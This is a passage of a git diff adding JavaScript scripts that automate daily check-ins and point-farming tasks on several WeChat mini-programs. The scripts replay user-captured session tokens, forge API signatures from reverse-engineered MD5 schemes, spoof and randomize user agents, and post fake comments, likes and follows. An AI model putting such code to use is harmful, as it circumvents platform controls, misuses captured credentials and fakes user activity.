+6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("微信小程序虔金E站"); +let ckName = `qianjin`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 0; + //let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index || ++index}】 start work\n`); + $.ck = user + //$.ckStatus = false; + await signIn() + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function signIn() { + let config = { + method: 'POST', + url: 'https://www.xrservice.cn/rayo-gz-fes-back/blade-signin/signin-user/submit', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220067 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx7bda09dcc9affced', + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/json', + 'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Android WebView";v="122"', + 'Homing-Auth': 'Bearer '+$.ck, + 'sec-ch-ua-mobile': '?1', + //'Authorization': 'Basic aG9taW5nLXd4bHA6UEhPU2J6SEVoRWhkRW4xYWlDSmhnYmJadVQ=', + 'sec-ch-ua-platform': '"Android"', + 'Origin': 'https://www.xrservice.cn', + 'X-Requested-With': 'com.tencent.mm', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://www.xrservice.cn/rayo-gz-fes-h5/', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7' + }, + data: JSON.stringify({}) + }; + let { data: result } = await Request(config); + result?.code == 200 ? $.log(`签到成功`) : $.log(`签到失败`); console.log(JSON.stringify(result)); +} + + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + throw error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + throw error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/心喜小程序/2026-05-14_xinxi_97216722.js b/脚本库/微信小程序/抓包版/心喜小程序/2026-05-14_xinxi_97216722.js new file mode 100644 index 0000000..c40a165 --- /dev/null +++ b/脚本库/微信小程序/抓包版/心喜小程序/2026-05-14_xinxi_97216722.js @@ -0,0 +1,294 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/xinxi.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/xinxi.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/xinxi.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 97216722edf50cf917686fcbc51d42b0f4a87165b6eeac508fa3ba0573156830 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 心喜 小程序 +cron: 30 7 * * * +------------------------------------------ +#Notice: +心喜小程序:目前没有库存 喜欢玩的就玩吧 +抓api.xinc818.com 请求头的sso 多账户&或换行 +变量名 xinxi +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("心喜小程序"); +let ckName = `xinxi`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + this.posts = [] + + } + + async run() { + await this.userInfo() + await this.tasklist() + } + + generateMd5Signature = function (e) { + var crypto = require("crypto"); + + var t = Object.keys(e).sort().map((function (t) { + return t + "=" + e[t] + } + )).join("&"); + return crypto.createHash("md5").update(t).digest("hex") + } + request(options) { + let req_timestamp = Date.now(); + let request_id = Math.random().toString(36).substr(2, 9) + "-" + req_timestamp; + let baseHeaders = { + "req_timestamp": req_timestamp, + "request_id": request_id, + "User-Agent": defaultUserAgent, + "sso": this.token, + "sign": this.generateMd5Signature({ data: JSON.stringify(options.data), req_timestamp, request_id, }), + } + options.headers = { ...baseHeaders, ...options.headers } + return axios.request(options) + } + + async userInfo() { + let options = { + method: 'GET', + url: `https://api.xinc818.com/mini/user`, + headers: {} + + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + $.log(`✅账号[${this.index}] 【${result.data.nickname}】积分【${result.data.integral}】🎉`) + this.userId = result.data.id + } else { + console.log(`❌账号[${this.index}] 用户查询【false】`); + console.log(result); + } + + } + async signIn() { + let options = { + method: 'GET', + url: `https://api.xinc818.com/mini/sign/in?dailyTaskId=`, + headers: { + "Content-Type": "application/json", + } + + + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + $.log(`✅账号[${this.index}] 签到状态【${result.data.flag}】获得积分【${result.data.integral}】🎉`) + } else { + $.log(`❌账号[${this.index}] 签到状态【false】`); + } + + } + async share() { + let options = { + method: 'GET', + url: `https://api.xinc818.com/mini/dailyTask/share`, + headers: { + "Content-Type": "application/json", + }, + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + $.log(`✅账号[${this.index}] 完成分享成功 获得【${result.data.singleReward}】`) + } else { + console.log(`❌账号[${this.index}] 完成分享失败`); + console.log(result); + } + + } + async tasklist() { + let options = { + method: 'GET', + url: `https://api.xinc818.com/mini/dailyTask/daily`, + headers: {} + + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + for (let task of result.data) { + await this.getPosts() + if (task.status == false) { + if (task.code == 'BROWSE_PRODUCTS') { + await this.browseGoods() + } + if (task.code == 'COMMENT_POSTS') { + await this.postsComments(this.posts[0].id) + } + if (task.code == 'LIKE_POSTS') { + await this.likePosts(this.posts[0].id) + } + if (task.code == 'FOCUS_USER') { + await this.followUser(this.posts[0].publisherId) + } + if (task.code == 'WANT_GOODS') { + await this.likeGoods() + } + if (task.code == 'SHARE') { + await this.share() + } + //未完成 + //finishNum 已完成的数量 + } + } + } else { + $.log(`❌账号[${this.index}] 任务列表【false】`); + } + + } + async browseGoods(postsId = 22) { + let options = { + method: 'GET', + url: `https://api.xinc818.com/mini/dailyTask/browseGoods/` + postsId, + headers: {}, + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + $.log(`✅账号[${this.index}] 【浏览商品】成功 获得积分【${result.data.singleReward}】🎉`) + } else { + $.log(`❌账号[${this.index}] 【浏览商品】失败`); + console.log(result); + } + + } + async postsComments(postsId) { + let options = { + method: 'POST', + url: `https://api.xinc818.com/mini/postsComments`, + headers: { + "Content-Type": "application/json", + }, + data: { "content": "666", "postsId": postsId } + + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + $.log(`✅账号[${this.index}] 【发表评论】成功 获得积分【${result.data.singleReward}】🎉`) + } + } + async getPosts() { + let options = { + method: 'GET', + url: `https://api.xinc818.com/mini/community/home/posts?pageNum=1&pageSize=10&queryType=3&position=2`, + headers: {} + + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + this.posts = result.data.list + + } + } + async likePosts() { + //找到posts里面liked为false的 + let posts = this.posts.filter(item => item.liked == false) + + let options = { + method: 'PUT', + url: `https://api.xinc818.com/mini/posts/like`, + headers: { + "Content-Type": "application/json", + }, + data: { "postsId": posts, "decision": true } + + }; + + let { data: result } = await this.request(options); + if (result.code == 0) { + console.log(result); + + $.log(`✅账号[${this.index}] 【点赞帖子】成功 获得积分【${result.data.singleReward}】🎉`) + } + } + + async followUser(postsId) { + let options = { + method: 'PUT', + url: `https://api.xinc818.com/mini/user/follow`, + headers: { + "Content-Type": "application/json", + }, + data: { "postsId": postsId, "decision": true } + + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + $.log(`✅账号[${this.index}] 【关注用户】成功 获得积分【${result.data.singleReward}】🎉`) + } + } + async likeGoods(goodsId) { + let options = { + method: 'POST', + url: `https://api.xinc818.com/mini/live/likeLiveItem`, + headers: { + "Content-Type": "application/json", + }, + data: { "isLike": true, "dailyTaskId": 20, "productId": "" + goodsId } + + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + $.log(`✅账号[${this.index}] 【点赞商品】成功 获得积分【${result.data.singleReward}】🎉`) + } + } + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} diff --git a/脚本库/微信小程序/抓包版/慕思/2025-06-28_慕思_3ee7b04e.js b/脚本库/微信小程序/抓包版/慕思/2025-06-28_慕思_3ee7b04e.js new file mode 100644 index 0000000..1336bb6 --- /dev/null +++ b/脚本库/微信小程序/抓包版/慕思/2025-06-28_慕思_3ee7b04e.js @@ -0,0 +1,581 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E6%85%95%E6%80%9D.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E6%85%95%E6%80%9D.js +// # Repo: jdqlscript/toulu +// # Path: 慕思.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 3ee7b04e8bd10005837a4a9d2f2108fe22c21a288ff2eb9774750c652c0c283f +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * 慕思 + * const $ = new Env("慕思"); + * cron 10 6,15 * * * 慕思.js + * 活动入口:https://pic.imgdb.cn/item/64eaffc4661c6c8e54806be6.jpg + * Author by Huansheng1 + * ========= 青龙--配置文件 =========== + * # 项目名称 + * export mshy='api_token#openId' + * 自己抓包 请求头里的 api_token,请求包里的 openId + * 抓包后不要打开小程序避免刷新了token,有效期待测试,如出现 “Token有误” 则是 token过期了请重新抓取 + * 多账号可用 换行、&、@ 符号隔开,支持新建多个同名环境变量来设置多账号 + * 奖励:签到每天得积分,积分兑换实物 + * ==================================== + */ +const $ = new Env("慕思"); +const utils = require("./utils") +let envParams = 'mshy'; + +let envSplitor = ['\n', '@', '&'] + +let processEnvParams = ($.isNode() ? process.env[envParams] : $.getdata(envParams)) || ''; + +let initedJobForTokens = [] +let currentUserIndex = 0 + +class JobTask { + constructor(str) { + this.requestUA = generateRandomUA(); + this.index = ++currentUserIndex + this.valid = false; + try { + [this.activedAuthToken, this.openId] = str; + } catch (error) { + console.log('参数不完整:自己抓包 请求头里的 api_token,请求包里的 openId') + } + } + + async taskApi (fn, method, url, body, moreHeaders = {}) { + let result = null + try { + let urlObject = { + url: url, + headers: { + 'Accept': '*/*', + 'Accept-Language': 'zh-CN,zh', + 'Connection': 'keep-alive', + 'Host': 'atom.musiyoujia.com', + 'Referer': 'https://servicewechat.com/wx03527497c5369a2c/94/page-frame.html', + 'Sec-Fetch-Dest': 'empty', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Site': 'cross-site', + 'User-Agent': this.requestUA || 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/8379', + 'api_client_code': '65', + 'api_token': this.activedAuthToken, + 'api_version': '1.0.0', + 'xweb_xhr': '1', + 'Content-Type': 'application/json', + ...moreHeaders + }, + timeout: 60000, + } + if (this.requestUA) { + urlObject.headers['User-Agent'] = this.requestUA + } + if (body) { + urlObject.body = body + // urlObject.headers['Content-Length'] = body?.length + } + // console.log('urlObject:', urlObject); + await httpRequest(method, urlObject).then(async (ret) => { + if (ret.resp?.statusCode == 200) { + if (ret.resp?.body) { + result = JSON.parse(ret.resp.body) + } else { + console.log(`账号[${this.index}]调用${method}[${fn}]出错,返回为空`) + } + } else { + console.log(`账号[${this.index}]调用${method}[${fn}]出错,返回状态码[${ret.resp?.statusCode || ''}]`, '返回结果:', ret.resp?.body || ret?.err) + } + }) + } catch (e) { + console.log(e) + } finally { + return Promise.resolve(result); + } + } + + async GetUserInfo () { + try { + let fn = 'GetUserInfo' + let method = 'post' + let url = `https://atom.musiyoujia.com/member/wechatlogin/selectuserinfo`; + const timestamp = new Date().getTime(); + let moreHeaders = { + 'api_timestamp': timestamp, + 'api_sign': utils?.MD5_Encrypt(`api_client_code=65&api_version=1.0.0&api_timestamp=${timestamp}`)?.toUpperCase() + } + let body = `{"appId":"wx03527497c5369a2c","appType":"WECHAT_MINI_PROGRAM","openId":"${this.openId}"}`; + await this.taskApi(fn, method, url, body, moreHeaders).then(async (result) => { + if (result?.msg === "success") { + this.valid = true; + this.customId = result?.data.resMemberInfo.memberId; + console.log(`账号[${this.index}] 查询个人信息成功,积分:${result?.data?.memberInfo?.pointInfo?.point}`) + } else { + console.log(`账号[${this.index}] 查询个人信息失败:${result?.msg || JSON.stringify(result)}`) + this.valid = false + } + }) + } catch (e) { + console.log(e) + } + } + + async GetJob () { + try { + let fn = 'GetJob' + let method = 'post' + let url = `https://atom.musiyoujia.com/member/memberbehavior/getBehaviorInfos`; + let body = `{"appId":"wx03527497c5369a2c","appType":"WECHAT_MINI_PROGRAM","behaviorIds":[1,2,10203,10204,10205,5],"sourceChannel":"会员小程序","source":"${this.customId}","openId":"${this.openId}"}`; + const timestamp = new Date().getTime(); + let moreHeaders = { + 'api_timestamp': timestamp, + 'api_sign': utils?.MD5_Encrypt(`api_token=${this.activedAuthToken}&api_client_code=65&api_version=1.0.0&api_timestamp=${timestamp}`)?.toUpperCase() + } + await this.taskApi(fn, method, url, body, moreHeaders).then(async (result) => { + if (result?.msg === "success") { + this.isSigned = result?.data[0].acts['每天已获得积分次数'] === 1; + console.log(`账号[${this.index}] 获取任务列表成功,${this.isSigned ? '已签到' : '未签到'}`) + } else { + console.log(`账号[${this.index}] 获取任务列表失败:${result?.msg || JSON.stringify(result)}`) + } + }) + } catch (e) { + console.log(e) + } + } + + async Sign () { + try { + let fn = 'Sign' + let method = 'post' + let url = `https://atom.musiyoujia.com/member/memberbehavior/add`; + const currentDate = new Date(); + const year = currentDate.getFullYear(); + const month = currentDate.getMonth() + 1; + const day = currentDate.getDate(); + let body = `{"appId":"wx03527497c5369a2c","appType":"WECHAT_MINI_PROGRAM","osType":"windows","model":"microsoft","browser":"微信小程序","platform":"1","sourceType":"5","sourceChannel":"会员小程序","siteId":"","visitorId":"","deviceId":"","spotId":"","campaignId":"","deviceType":"","eventLabel":"","eventValue":"","eventAttr2":"${`${year}.${month}.${day}`}","eventAttr3":"","eventAttr4":"","eventAttr5":"","eventAttr6":"","googleCampaignName":"","googleCampaignSource":"","googleCampaignMedium":"","googleCampaignContent":"","memberType":"DeRUCCI","customId":"${this.customId}","locationUrl":"/pages/user/signIn","url":"/pages/user/signIn","pageTitle":"每日签到","logType":"event","behaviorIds":[1,3],"eventCategory":"用户签到","eventAction":"签到","eventAttr1":2,"openId":"${this.openId}"}`; + const timestamp = new Date().getTime(); + let moreHeaders = { + 'api_timestamp': timestamp, + 'api_sign': utils?.MD5_Encrypt(`api_token=${this.activedAuthToken}&api_client_code=65&api_version=1.0.0&api_timestamp=${timestamp}`)?.toUpperCase() + } + await this.taskApi(fn, method, url, body, moreHeaders).then(async (result) => { + if (result?.msg === "success") { + console.log(`账号[${this.index}] 签到成功,获得积分:${result?.data?.point}`) + } else { + console.log(`账号[${this.index}] 签到失败:${result?.msg || JSON.stringify(result)}`) + } + }) + } catch (e) { + console.log(e) + } + } + + async doTask () { + try { + console.log(`\n============= 账号[${this.index}] 开始获取任务=============`); + await this.GetJob(); + if (!this.isSigned) { + console.log(`\n============= 账号[${this.index}] 开始执行 签到任务=============`); + await this.Sign(); + } + } catch (e) { + console.log(e) + } + } +} + +!(async () => { + if (typeof $request !== "undefined") { + await GetRewrite() + } else { + if (!(await checkEnv())) return; + + console.log('\n================ 开始执行 ================') + for (let user of initedJobForTokens) { + console.log(`----------- 执行 第 [${user.index}] 个账号 -----------`) + await user.GetUserInfo(); + } + + let validUserList = initedJobForTokens.filter(x => x.valid) + + if (initedJobForTokens.length > 0) { + console.log('\n================ 任务队列构建完毕 ================') + for (let user of initedJobForTokens) { + console.log(`----------- 账号[${user.index}] -----------`) + await user.doTask(); + } + } else { + console.log('\n====幻生提示:无可用账号,请检查配置============ 任务结束 ================') + } + + await $.showmsg(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()) + +async function GetRewrite () { +} + +async function checkEnv () { + if (processEnvParams) { + let splitor = envSplitor[0]; + for (let sp of envSplitor) { + if (processEnvParams.indexOf(sp) > -1) { + splitor = sp; + break; + } + } + for (let token of processEnvParams.split(splitor)) { + if (token) initedJobForTokens.push(new JobTask(token?.split('#'))) + } + userCount = initedJobForTokens.length + } else { + console.log('未找到 配置信息,请检查是否配置 变量:', envParams) + return; + } + + console.log(`共找到${userCount}个账号`) + return true +} + +function generateRandomUA () { + var androidVersion = Math.floor(Math.random() * 6) + 8; // 生成 Android 版本号 8-13 之间的随机数 + var androidModels = [ + "PBBM00", "SM-G975F", "Pixel 4", "OnePlus 7T", "Redmi Note 8 Pro", + "iPhone X", "Galaxy S10", "Huawei P30 Pro", "LG G8 ThinQ", "Sony Xperia 1", + "Moto G7", "Nokia 9 PureView", "Xiaomi Mi 9", "Google Pixel 3a", "OnePlus 6T", + "Redmi Note 7", "Samsung Galaxy A50", "Huawei Mate 20 Pro", "LG V40 ThinQ", "Sony Xperia XZ3", + "Moto Z4", "Nokia 7.1", "Xiaomi Mi Mix 3", "Google Pixel 2", "OnePlus 5T", + "Redmi Note 6 Pro", "Samsung Galaxy A70", "Huawei P20 Pro", "LG G7 ThinQ", "Sony Xperia XZ2", + "Moto G6", "Nokia 6.1", "Xiaomi Mi 8", "Google Pixel", "OnePlus 5", + "Redmi Note 5 Pro", "Samsung Galaxy A30", "Huawei Mate 10 Pro", "LG V30", "Sony Xperia XZ1", + "Moto X4", "Nokia 5.1", "Xiaomi Mi 6", "Google Pixel XL", "OnePlus 3T", + "Redmi Note 4", "Samsung Galaxy A20", "Huawei P10 Plus", "LG G6", "Sony Xperia XZ", + "Moto G5 Plus", "Nokia 3.1", "Xiaomi Mi 5", "Google Pixel 3", "OnePlus 3", + "Redmi Note 3", "Samsung Galaxy A10", "Huawei Mate 9", "LG V20", "Sony Xperia X Compact", + "Moto G4", "Nokia 2.2", "Xiaomi Mi 4", "Google Pixel 2 XL", "OnePlus 2", + "Redmi Note 2", "Samsung Galaxy A5", "Huawei P9", "LG G5", "Sony Xperia X", + "Moto E6", "Nokia 1", "Xiaomi Mi 3", "Google Pixel 4", "OnePlus One", + "Redmi Note", "Samsung Galaxy A3", "Huawei P8", "LG G4", "Sony Xperia Z5", + "Moto E5", "Nokia 3310", "Xiaomi Mi 2", "Google Pixel 4 XL", "OnePlus Nord" + ]; // 常见的手机型号 + + var chromeVersion = "Chrome/" + (Math.floor(Math.random() * 30) + 50) + ".0." + (Math.floor(Math.random() * 1000) + 100); // 生成 Chrome 版本号 50.0.100-79.0.999 之间的随机数 + + var ua = "Mozilla/5.0 (Linux; Android " + androidVersion + "; " + androidModels[Math.floor(Math.random() * androidModels.length)] + " Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 " + chromeVersion + " Mobile Safari/537.36;xsb_wangchao;xsb_wangchao;5.3.1;native_app"; + + return ua; +} + +// 无参数加密:请求地址+时间戳+A749380BBD5A4D93B55B4BE245A42988+Token +// 示例数据:https://api.ikbang.cn/v2/iclick-new/signIn/sign1692923683034A749380BBD5A4D93B55B4BE245A4298839D21A3B3EFF817154C47470BF13E62CF05F956446D53C359688A094E91A9B1F2A67065862923551F147C32E3AFAF778 +// 如果请求URL有参数则是 在时间戳 和 盐 之间增加 stringify后的参数(POST) + +async function httpRequest (method, url) { + httpErr = null, httpReq = null, httpResp = null; + return new Promise((resolve) => { + $.send(method, url, async (err, req, resp) => { + httpErr = err, httpReq = req, httpResp = resp; + resolve({ err, req, resp }) + }) + }); +} + +function Env (name, env) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + return new class { + constructor(name, env) { + this.name = name + this.notifyStr = '' + this.startTime = (new Date).getTime() + Object.assign(this, env) + console.log(`${this.name} 开始运行:\n`) + } + isNode () { + return "undefined" != typeof module && !!module.exports + } + isQuanX () { + return "undefined" != typeof $task + } + isSurge () { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon () { + return "undefined" != typeof $loon + } + getdata (t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata (t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } + else { + s = this.setval(t, e); + } + return s + } + getval (t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval (t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + send (m, t, e = (() => { })) { + if (m != 'get' && m != 'post' && m != 'put' && m != 'delete') { + console.log(`无效的http方法:${m}`); + return; + } + if (m == 'get' && t.headers) { + delete t.headers["Content-Type"]; + delete t.headers["Content-Length"]; + } else if (t.body && t.headers) { + if (!t.headers["Content-Type"]) t.headers["Content-Type"] = "application/x-www-form-urlencoded"; + } + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + t.headers = t.headers || {}; + Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 }); + } + let conf = { + method: m, + url: t.url, + headers: t.headers, + timeout: t.timeout, + data: t.body + }; + if (m == 'get') delete conf.data + $axios(conf).then(t => { + const { + status: i, + request: q, + headers: r, + data: o + } = t; + e(null, q, { + statusCode: i, + headers: r, + body: o + }); + }).catch(err => console.log(err)) + } else if (this.isQuanX()) { + t.method = m.toUpperCase(), this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), + $task.fetch(t).then(t => { + const { + statusCode: i, + request: q, + headers: r, + body: o + } = t; + e(null, q, { + statusCode: i, + headers: r, + body: o + }) + }, t => e(t)) + } else if (this.isNode()) { + this.got = this.got ? this.got : require("got"); + const { + url: s, + ...i + } = t; + this.instance = this.got.extend({ + followRedirect: false + }); + this.instance[m](s, i).then(t => { + const { + statusCode: i, + request: q, + headers: r, + body: o + } = t; + e(null, q, { + statusCode: i, + headers: r, + body: o + }) + }, t => { + const { + message: s, + request: q, + response: i + } = t; + e(s, q, i) + }) + } + } + time (t, x = null) { + let xt = x ? new Date(x) : new Date + let e = { + "M+": xt.getMonth() + 1, + "d+": xt.getDate(), + "h+": xt.getHours(), + "m+": xt.getMinutes(), + "s+": xt.getSeconds(), + "q+": Math.floor((xt.getMonth() + 3) / 3), + S: xt.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (xt.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let s in e) + new RegExp("(" + s + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? e[s] : ("00" + e[s]).substr(("" + e[s]).length))); + return t + } + async showmsg () { + if (!this.notifyStr) return; + let notifyBody = this.name + " 运行通知\n\n" + this.notifyStr + if ($.isNode()) { + var notify = require('./sendNotify'); + console.log('\n============== 推送 ==============') + await notify.sendNotify(this.name, notifyBody); + } else { + this.msg(notifyBody); + } + } + logAndNotify (str) 